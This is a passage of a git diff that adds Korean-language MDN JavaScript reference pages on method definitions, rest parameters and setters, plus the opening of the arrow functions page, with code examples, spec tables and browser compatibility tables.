+ <li>{{jsxref("Statements/function", "function 문")}}</li>
+ <li>{{jsxref("Operators/function", "function 식")}}</li>
+ <li>{{jsxref("Statements/function*", "function* 문")}}</li>
+ <li>{{jsxref("Operators/function*", "function* 식")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li>{{jsxref("Functions/애로우_펑션", "화살표 함수")}}</li>
+ <li>{{jsxref("Functions/Default_parameters", "기본 매개변수")}}</li>
+ <li>{{jsxref("Functions/rest_parameters", "나머지 매개변수")}}</li>
+ <li>{{jsxref("Functions/arguments", "arguments 객체")}}</li>
+ <li>{{jsxref("Functions/get", "getter")}}</li>
+ <li>{{jsxref("Functions/set", "setter")}}</li>
+ <li>{{jsxref("Functions/Method_definitions", "메서드 정의")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Functions" title="Functions and function scope">함수 및 함수 범위</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/functions/method_definitions/index.html b/files/ko/web/javascript/reference/functions/method_definitions/index.html
new file mode 100644
index 0000000000..ff1b67956a
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/method_definitions/index.html
@@ -0,0 +1,230 @@
+---
+title: 메서드 정의
+slug: Web/JavaScript/Reference/Functions/Method_definitions
+tags:
+ - ECMAScript 2015
+ - Functions
+ - JavaScript
+ - Object
+ - Syntax
+translation_of: Web/JavaScript/Reference/Functions/Method_definitions
+---
+<div>{{JsSidebar("Functions")}}</div>
+
+<p>ECMAScript 2015 를 시작으로, 객체 초기자(initializer)에 메서드 정의를 위한 더 짧은 구문이 도입되었습니다. 이는 메서드 명에 할당된 함수를 위한 단축입니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">var obj = {
+ <var>property</var>( <var>parameters…</var> ) {},
+ *<var>generator</var>( <var>parameters…</var> ) {},
+// 키(속성) 계산값과도 함께:
+ [property]( <var>parameters…</var> ) {},
+ *[generator]( <var>parameters…</var> ) {},
+// ES5 getter/setter 구문과 비교해 보세요:
+ get <var>property</var>() {},
+ set <var>property</var>(<var>value</var>) {}
+};
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>단축 구문은 ECMAScript 5에 도입된 <a href="/ko/docs/Web/JavaScript/Reference/Functions/get">getter</a> 및 <a href="/ko/docs/Web/JavaScript/Reference/Functions/set">setter</a> 구문과 비슷합니다.</p>
+
+<p>다음 코드가 주어지면:</p>
+
+<pre class="brush: js">var obj = {
+ foo: function() {},
+ bar: function() {}
+};</pre>
+
+<p>이제 이를 아래로 줄일 수 있습니다:</p>
+
+<pre class="brush: js">var obj = {
+ foo() {},
+ bar() {}
+};</pre>
+
+<div class="note">
+<p><strong>주의 :</strong> 단축 구문은 익명(anonymous) 함수 (…<code>foo: function() {}</code>… 에서처럼) 대신 유명(named) 함수를 사용합니다. 유명 함수는 함수 본체에서 호출될 수 있습니다 (이는 참조할 식별자가 없기에 익명 함수에게는 불가능합니다). 자세한 사항은, {{jsxref("Operators/function","function","#Examples")}} 참조.</p>
+</div>
+
+<h3 id="단축_생성기_메서드">단축 생성기 메서드</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Statements/function*">생성기 메서드</a>는 단축 구문을 사용해서도 정의될 수 있습니다. 단축 구문 내 별표(*)는 생성기 속성명 앞에 와야 함을 주의하세요. 즉, <code>* g(){}</code>는 작동하지만 <code>g *(){}</code>는 아닙니다.</p>
+
+<pre class="brush: js;highlight[12]">// 유명 속성 사용 (ES2015 이전)
+var obj2 = {
+ g: function*() {
+ var index = 0;
+ while(true)
+ yield index++;
+ }
+};
+
+// 단축 구문을 쓰는 같은 객체
+var obj2 = {
+ * g() {
+ var index = 0;
+ while(true)
+ yield index++;
+ }
+};
+
+var it = obj2.g();
+console.log(it.next().value); // 0
+console.log(it.next().value); // 1</pre>
+
+<h3 id="메서드_정의는_생성_불가능합니다">메서드 정의는 생성 불가능합니다</h3>
+
+<p>모든 메서드 정의는 생성자가 아니고 인스턴스화하려고 하는 경우 {{jsxref("TypeError")}} 예외가 발생합니다.</p>
+
+<pre class="brush: js example-bad">var obj = {
+ method() {},
+};
+new obj.method; // TypeError: obj.method는 생성자가 아닙니다
+
+var obj = {
+ * g() {}
+};
+new obj.g; // TypeError: obj.g는 생성자가 아닙니다 (ES2016에서 바뀜)
+</pre>
+
+<h2 id="예">예</h2>
+
+<h3 id="간단한_테스트_사례">간단한 테스트 사례</h3>
+
+<pre class="brush: js;highlight[3]">var obj = {
+ a : "foo",
+ b(){ return this.a; }
+};
+console.log(obj.b()); // "foo"
+</pre>
+
+<h3 id="속성_계산명">속성 계산명</h3>
+
+<p>단축 구문은 속성 계산명(computed property name)도 지원합니다.</p>
+
+<pre class="brush: js;highlight[4]">var bar = {
+ foo0 : function (){return 0;},
+ foo1(){return 1;},
+ ["foo" + 2](){return 2;},
+};
+
+console.log(bar.foo0()); // 0
+console.log(bar.foo1()); // 1
+console.log(bar.foo2()); // 2</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-method-definitions', 'Method definitions')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES7', '#sec-method-definitions', 'Method definitions')}}</td>
+ <td>{{Spec2('ES7')}}</td>
+ <td>생성기 메서드 역시 [[Construct]] 트랩이 없어야 하고 <code>new</code>와 함께 사용되는 경우 예외 발생으로 바뀜.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Method definition shorthand</td>
+ <td>{{CompatChrome("39")}}</td>
+ <td>{{CompatGeckoDesktop("34")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatOpera("26")}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>Generator methods are not constructable (ES2016)</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("43")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Method definition shorthand</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoMobile("34")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>Generator methods are not constructable (ES2016)</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("43")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="SpiderMonkey_전용_주의사항">SpiderMonkey 전용 주의사항</h2>
+
+<ul>
+ <li>SpiderMonkey 38 {{geckoRelease(38)}} 이전에, "<code>get</code>" 및 "<code>set</code>"은 생성기 메서드에 무효한 이름이었습니다. 이는 {{bug(1073809)}}에서 해결됐습니다.</li>
+ <li>SpiderMonkey 41 {{geckoRelease(41)}} 이전에, 중괄호는 메서드 정의에 필요하지 않았습니다. ES2015 스펙을 따르기 위해 이제부터 필요하고 이번과 이후 버전에서 {{jsxref("SyntaxError")}}가 발생합니다 ({{bug(1150855)}}).
+ <pre class="brush: js example-bad">var o = {x() 12}; // SyntaxError</pre>
+ </li>
+ <li>오직 생성기 메서드만이 생성자인 제한은 SpiderMonkey 41 {{geckoRelease(41)}}에서 구현되었습니다. {{bug(1059908)}} 및 {{bug(1166950)}} 참조.</li>
+</ul>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/get">get</a></code></li>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/set">set</a></code></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Lexical_grammar" title="Lexical grammar">어휘 문법</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/functions/rest_parameters/index.html b/files/ko/web/javascript/reference/functions/rest_parameters/index.html
new file mode 100644
index 0000000000..eee5528b38
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/rest_parameters/index.html
@@ -0,0 +1,223 @@
+---
+title: Rest 파라미터
+slug: Web/JavaScript/Reference/Functions/rest_parameters
+tags:
+ - Functions
+ - JavaScript
+ - Rest
+ - Rest parameters
+translation_of: Web/JavaScript/Reference/Functions/rest_parameters
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p><strong>Rest 파라미터</strong> 구문은 정해지지 않은 수(an indefinite number, 부정수) 인수를 배열로 나타낼 수 있게 합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/functions-restparameters.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<p> </p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: js">function f(a, b, ...theArgs) {
+ // ...
+}
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>함수의 마지막 파라미터의 앞에 <code>...</code> 를 붙여 (사용자가 제공한) 모든 나머지 인수를 "표준" 자바스크립트 배열로 대체합니다. 마지막 파라미터만 "Rest 파라미터" 가 될 수 있습니다.</p>
+
+<pre class="brush: js">function myFun(a, b, ...manyMoreArgs) {
+ console.log("a", a);
+ console.log("b", b);
+ console.log("manyMoreArgs", manyMoreArgs);
+}
+
+myFun("one", "two", "three", "four", "five", "six");
+
+// Console Output:
+// a, one
+// b, two
+// manyMoreArgs, [three, four, five, six]</pre>
+
+<p> </p>
+
+<h3 id="Rest_파라미터_및_arguments_객체간_차이">Rest 파라미터 및 <code>arguments</code> 객체간 차이</h3>
+
+<p>Rest 파라미터와 <a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments" title="arguments"><code>arguments</code></a> 객체 사이에 세 가지 주요 차이점이 있습니다:</p>
+
+<ul>
+ <li>Rest 파라미터는 구분된 이름(예, 함수 표현에 정식으로 정의된 것)이 주어지지 않은 유일한 대상인 반면, <code>arguments</code> 객체는 함수로 전달된 모든 인수를 포함합니다.</li>
+ <li><code>arguments</code> 객체는 실제 배열이 아니고 rest 파라미터는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array" title="Array"><code>Array</code></a> 인스턴스로, <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/sort" title="Array sort method"><code>sort</code></a>, <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/map" title="Array map method"><code>map</code></a>, <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach" title="Array forEach method"><code>forEach</code></a> 또는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/pop" title="Array pop method"><code>pop</code></a> 같은 메서드가 바로 인스턴스에 적용될 수 있음을 뜻합니다.</li>
+ <li>즉 <code>arguments</code> 객체는 자체에 특정 추가 기능이 있습니다 (<code>callee</code> 속성처럼).</li>
+</ul>
+
+<h3 id="arguments에서_배열까지">arguments에서 배열까지</h3>
+
+<p>Rest 파라미터는 인수에 의해 유발된 상용구(boilerplate) 코드를 줄이기 위해 도입되었습니다.</p>
+
+<pre class="brush: js">// Rest 파라미터 이전에, "arguments" 는 다음을 사용해 일반적인 배열로 변환될 수 있음
+
+function f(a, b) {
+
+ var normalArray = Array.prototype.slice.call(arguments);
+ // -- 또는 --
+ var normalArray = [].slice.call(arguments);
+ // -- 또는 --
+ var normalArray = Array.from(arguments);
+
+ var first = normalArray.shift(); // OK, 첫 번째 인수를 반환
+ var first = arguments.shift(); // ERROR (arguments 가 일반적인 배열이 아님)
+
+}
+
+// 이제 rest 파라미터를 사용해 쉽게 일반적인 배열에 접근할 수 있음
+
+function f(...args) {
+ var normalArray = args;
+ var first = normalArray.shift(); // OK, 첫 번째 인수를 반환
+}</pre>
+
+<h3 id="Rest_파라미터_해체">Rest 파라미터 해체</h3>
+
+<p>Rest 파라미터는 해체될 수 있습니다(배열로만). 이는 데이터가 구분된 변수로 해체될 수 있음을 의미합니다. <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">구조 분해 할당</a> 문서를 보세요.</p>
+
+<pre class="brush: js">function f(...[a, b, c]) {
+ return a + b + c;
+}
+
+f(1) // NaN (b 와 c 는 undefined)
+f(1, 2, 3) // 6
+f(1, 2, 3, 4) // 6 (4번 째 파라미터는 해체되지 않음)</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>이 예제에서, 첫 번째 인수는 <code>"a"</code>, 두 번째 인수는 <code>"b"</code> 로 매핑되어, 일반적인 유명 인수와 같이 사용됩니다. 반면에 3번 째 인수 <code>"manyMoreArgs"</code> 는 사용자가 포함시킨 인수를 포함하는 배열이 됩니다.</p>
+
+<pre class="brush: js">function myFun(a, b, ...manyMoreArgs) {
+ console.log("a", a);
+ console.log("b", b);
+ console.log("manyMoreArgs", manyMoreArgs);
+}
+
+myFun("one", "two", "three", "four", "five", "six");
+
+// a, one
+// b, two
+// manyMoreArgs, [three, four, five, six]</pre>
+
+<p>아래를 보면, 하나의 값만 있더라도 마지막 인수는 여전히 배열을 갖습니다.</p>
+
+<pre class="brush: js">// 위 예제와 동일한 함수 정의를 사용
+
+myFun("one", "two", "three");
+
+// a, one
+// b, two
+// manyMoreArgs, [three]</pre>
+
+<p>아래를 보면, 3번 째 인수가 제공되지 않더라도, "manyMoreArgs" 는 여전히 배열입니다(비어있긴하지만).</p>
+
+<pre class="brush: js">// 위 예제와 동일한 함수 정의를 사용
+
+myFun("one", "two");
+
+// a, one
+// b, two
+// manyMoreArgs, []</pre>
+
+<p><code>theArgs</code> 가 배열이므로, <code>length</code> 프로퍼티를 사용해 엘리먼트의 수를 얻을 수 있습니다.</p>
+
+<pre class="brush: js">function fun1(...theArgs) {
+ console.log(theArgs.length);
+}
+
+fun1(); // 0
+fun1(5); // 1
+fun1(5, 6, 7); // 3</pre>
+
+<p>다음 예제에서, rest 파라미터는 첫 번째 인수 다음의 모든 인수를 배열로 모으는데 사용됩니다. 각각은 첫 번째 파라미터와 곱해져 배열로 반환됩니다.</p>
+
+<pre class="brush: js">function multiply(multiplier, ...theArgs) {
+ return theArgs.map(function(element) {
+ return multiplier * element;
+ });
+}
+
+var arr = multiply(2, 1, 2, 3);
+console.log(arr); // [2, 4, 6]</pre>
+
+<p><code>Array</code> 메소드는 rest 파라미터에서 사용될 수 있지만, <code>arguments</code> 객체에서는 그렇지 않습니다.</p>
+
+<pre class="brush: js">function sortRestArgs(...theArgs) {
+ var sortedArgs = theArgs.sort();
+ return sortedArgs;
+}
+
+console.log(sortRestArgs(5, 3, 7, 1)); // 1, 3, 5, 7
+
+function sortArguments() {
+ var sortedArgs = arguments.sort();
+ return sortedArgs; // this will never happen
+}
+
+
+console.log(sortArguments(5, 3, 7, 1)); // TypeError (arguments.sort is not a function)</pre>
+
+<p><code>arguments</code> 객체에서 <code>Array</code> 메소드를 사용하려면, 이를 먼저 실제 배열로 변환해야합니다.</p>
+
+<pre class="brush: js">function sortArguments() {
+ var args = Array.from(arguments);
+ var sortedArgs = args.sort();
+ return sortedArgs;
+}
+console.log(sortArguments(5, 3, 7, 1)); // 1, 3, 5, 7
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-function-definitions', 'Function Definitions')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function Definitions')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.functions.rest_parameters")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Spread_syntax" title="spread operator">Spread 문법</a> (또한 ‘<code>...</code>’)</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Functions/arguments" title="arguments">Arguments 객체</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Array" title="Array">Array</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Functions" title="Functions and function scope">함수</a></li>
+ <li><a href="http://wiki.ecmascript.org/doku.php?id=harmony:rest_parameters">Original proposal at ecmascript.org</a></li>
+ <li><a href="http://javascriptweblog.wordpress.com/2011/01/18/javascripts-arguments-object-and-beyond/">JavaScript arguments object and beyond</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">구조 분해 할당</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/functions/set/index.html b/files/ko/web/javascript/reference/functions/set/index.html
new file mode 100644
index 0000000000..248a218c37
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/set/index.html
@@ -0,0 +1,208 @@
+---
+title: setter
+slug: Web/JavaScript/Reference/Functions/set
+translation_of: Web/JavaScript/Reference/Functions/set
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p><strong><code>set</code></strong> syntax는 어떤 객체의 속성에 이 속성을 설정하려고 할 때 호출되는 함수를 바인드한다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">{set <em>prop</em>(<em>val</em>) { . . . }}
+{set [expression](<em>val</em>) { . . . }}</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>주어진 함수를 바인드할 속성의 이름</dd>
+</dl>
+
+<dl>
+ <dt><code>val</code></dt>
+ <dd><code>prop에 설정될 값을 가지고 있는 변수의 별명.</code></dd>
+ <dt>expression</dt>
+ <dd>ECMAScript 6부터는, 주어진 함수에 바인드 되는 속성 이름은 계산(computed)을 통해 얻을 수 있고 이것을 위한 expressions을 사용할 수 있다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p> 자바스크립트에서, setter는 특정한 속성에 값이 변경되어 질 때마다 함수를 실행하는데 사용될 수 있다. Setter는 유사(pseudo)-property 타입을 생성하는 getter와 함께 가장 자주 사용된다. 실제 값을 가지는 property와 이  property의 setter 를  동시에 갖는 것은 불가능하다.</p>
+
+<p><code>set</code> 문법을 사용할 때 다음을 주의한다:</p>
+
+<div>
+<ul>
+ <li>숫자혹은 문자로된 식별자를 가질 수 있다;</li>
+ <li>한 개의 파라메터만 가질 수 있다.(더 자세한 정보는 <a class="external" href="http://whereswalden.com/2010/08/22/incompatible-es5-change-literal-getter-and-setter-functions-must-now-have-exactly-zero-or-one-arguments/" rel="external nofollow">Incompatible <abbr title="ECMAScript 5th edition">ES5</abbr> change: literal getter and setter functions must now have exactly zero or one arguments</a>를 본다);</li>
+ <li>오브젝트 리터럴에 동일한 property에 대한  다른 set나  데이터 항목이 올 수 없다.<br>
+ ( <code>{ set x(v) { }, set x(v) { } }</code> 그리고 <code>{ x: ..., set x(v) { } }</code> 는 허용되지 않는다.)</li>
+</ul>
+</div>
+
+<p>setter는   <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete"><code>delete</code></a> operator를 사용하여 제거할 수 있다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="새로운_객체의_setter를_객체의_initializer에서_정의하기">새로운 객체의 setter를 객체의 initializer에서 정의하기 </h3>
+
+<p>다음은 객체 o의 유사 프로러티(pseudo-property )인 <code>current를 정의한다. 이것은 값이 설정될 때, 이 값으로 로그를 갱신 한다.</code></p>
+
+<pre class="brush: js">var o = {
+ set current (str) {
+ this.log[this.log.length] = str;
+ },
+ log: []
+}
+</pre>
+
+<p><code><font face="Open Sans, Arial, sans-serif">다음 사항에 주의한다. </font>current는 정의 되지 않았고 이것에 접근하는 모든 시도는 undefined 값을 얻게될 것이다.</code></p>
+
+<h3 id="delete_operator로_setter를_제거하기"><code>delete</code> operator로 setter를 제거하기</h3>
+
+<p>만약 setter를 제거하기 원한다면, 그냥 그것을 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code> 하면 된다:</p>
+
+<pre class="brush: js">delete o.current;
+</pre>
+
+<h3 id="defineProperty를_사용하여_이미_존재하는_객체에_setter를_정의하기"><code>defineProperty를 사용하여 이미 존재하는 객체에 </code>setter를 정의하기</h3>
+
+<p>setter를 이미 존재하는 object에 나중에 언제라도 추가하기 위해서, {{jsxref("Object.defineProperty()")}}를 사용한다.</p>
+
+<pre class="brush: js">var o = { a:0 };
+
+Object.defineProperty(o, "b", { set: function (x) { this.a = x / 2; } });
+
+o.b = 10; // Runs the setter, which assigns 10 / 2 (5) to the 'a' property
+console.log(o.a) // 5</pre>
+
+<h3 id="연산된(computed)_property_name_사용하기">연산된(computed) property name 사용하기</h3>
+
+<div class="note">
+<p><strong>Note:</strong> 계산된(Computed) properties는 실험적인 기술이고,  ECMAScript 6 proposal의 부분이다. 아직 많은 브라우저가 지원하지 않는다. 이것 때문에 지원하지 않는 환경에서는  문법 오류가 발생할 것이다.</p>
+</div>
+
+<pre class="brush: js">var expr = "foo";
+
+var obj = {
+ baz: "bar",
+ set [expr](v) { this.baz = v; }
+};
+
+console.log(obj.baz); // "bar"
+obj.foo = "baz"; // run the setter
+console.log(obj.baz); // "baz"
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-method-definitions', 'Method definitions')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Added computed property names.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성CompatibilityTable">브라우저 호환성{{CompatibilityTable}}</h2>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(1)}}</td>
+ <td>{{ CompatGeckoDesktop("1.8.1") }}</td>
+ <td>{{ CompatIE(9) }}</td>
+ <td>9.5</td>
+ <td>3</td>
+ </tr>
+ <tr>
+ <td>Computed property names</td>
+ <td>{{CompatNo}}</td>
+ <td>{{ CompatGeckoDesktop("34") }}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{ CompatGeckoMobile("1.8.1") }}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Computed property names</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{ CompatGeckoMobile("34.0") }}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="SpiderMonkey-specific_notes">SpiderMonkey-specific notes</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.8.1"> JavaScript 1.8.1</a>부터, object와 array initializers에서 properties를 설정 할 때 setter는 더이상 호출되지 않는다.</li>
+ <li>SpiderMonkey 38 부터, {{jsxref("Functions/rest_parameters", "rest parameter", "", 1)}} 를 갖는 setter는  ES6 specification에 따라 {{jsxref("SyntaxError")}}이다.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">getter</a></li>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.defineGetter", "__defineGetter__")}}</li>
+ <li>{{jsxref("Object.defineSetter", "__defineSetter__")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">Defining Getters and Setters</a> in JavaScript Guide</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/functions/애로우_펑션/index.html b/files/ko/web/javascript/reference/functions/애로우_펑션/index.html
new file mode 100644
index 0000000000..02dc0d55e4
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/애로우_펑션/index.html
@@ -0,0 +1,465 @@
+---
+title: 화살표 함수
+slug: Web/JavaScript/Reference/Functions/애로우_펑션
+tags:
+ - ECMAScript6
+ - Functions
+ - Intermediate
+ - JavaScript
+ - Reference
+translation_of: Web/JavaScript/Reference/Functions/Arrow_functions
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>화살표 함수 표현(<strong>arrow function expression</strong>)은 <a href="/ko/docs/Web/JavaScript/Reference/Operators/function" title="function expressions">function 표현</a>에 비해 구문이 짧고  자신의 <a href="/ko/docs/Web/JavaScript/Reference/Operators/this">this</a>, <a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a>, <a href="/ko/docs/Web/JavaScript/Reference/Operators/super">super</a> 또는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/new.target">new.target</a>을 바인딩 하지 않습니다. 화살표 함수는 항상 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/name" title="anonymous">익명</a>입니다. 이  함수 표현은 메소드 함수가 아닌 곳에 가장 적합합니다. 그래서 생성자로서 사용할 수 없습니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/functions-arrow.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<h3 id="기본_구문">기본 구문</h3>
+
+<pre class="syntaxbox notranslate"><strong>(</strong><em>param1</em>, <em>param2</em>, …, <em>paramN</em><strong>) =&gt; {</strong> <em>statements</em> <strong>}</strong>
+<strong>(</strong><em>param1</em>, <em>param2</em>, …, <em>paramN</em><strong>) =&gt;</strong> <em>expression</em>
+// 다음과 동일함: =&gt; { return expression; }
+
+// 매개변수가 하나뿐인 경우 괄호는 선택사항:
+<em>(singleParam)</em> <strong>=&gt; {</strong> <em>statements</em> <strong>}</strong>
+<em>singleParam</em> <strong>=&gt;</strong> { <em>statements }</em>
+
+// 매개변수가 없는 함수는 괄호가 필요:
+<strong>() =&gt; {</strong> <em>statements</em> <strong>}</strong></pre>
+
+<h3 id="고급_구문">고급 구문</h3>
+
+<pre class="syntaxbox notranslate">// 객체 리터럴 표현을 반환하기 위해서는 함수 본문(body)을 괄호 속에 넣음:
+<em>params</em> =&gt; ({<em>foo: bar</em>})
+
+// <a href="/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters" title="Rest parameter">나머지 매개변수</a> 및 <a href="/ko/docs/Web/JavaScript/Reference/Functions/Default_parameters" title="Default parameter">기본 매개변수</a>를 지원함
+(<em>param1</em>, <em>param2</em>, <strong>...rest</strong>) =&gt; { <em>statements</em> }
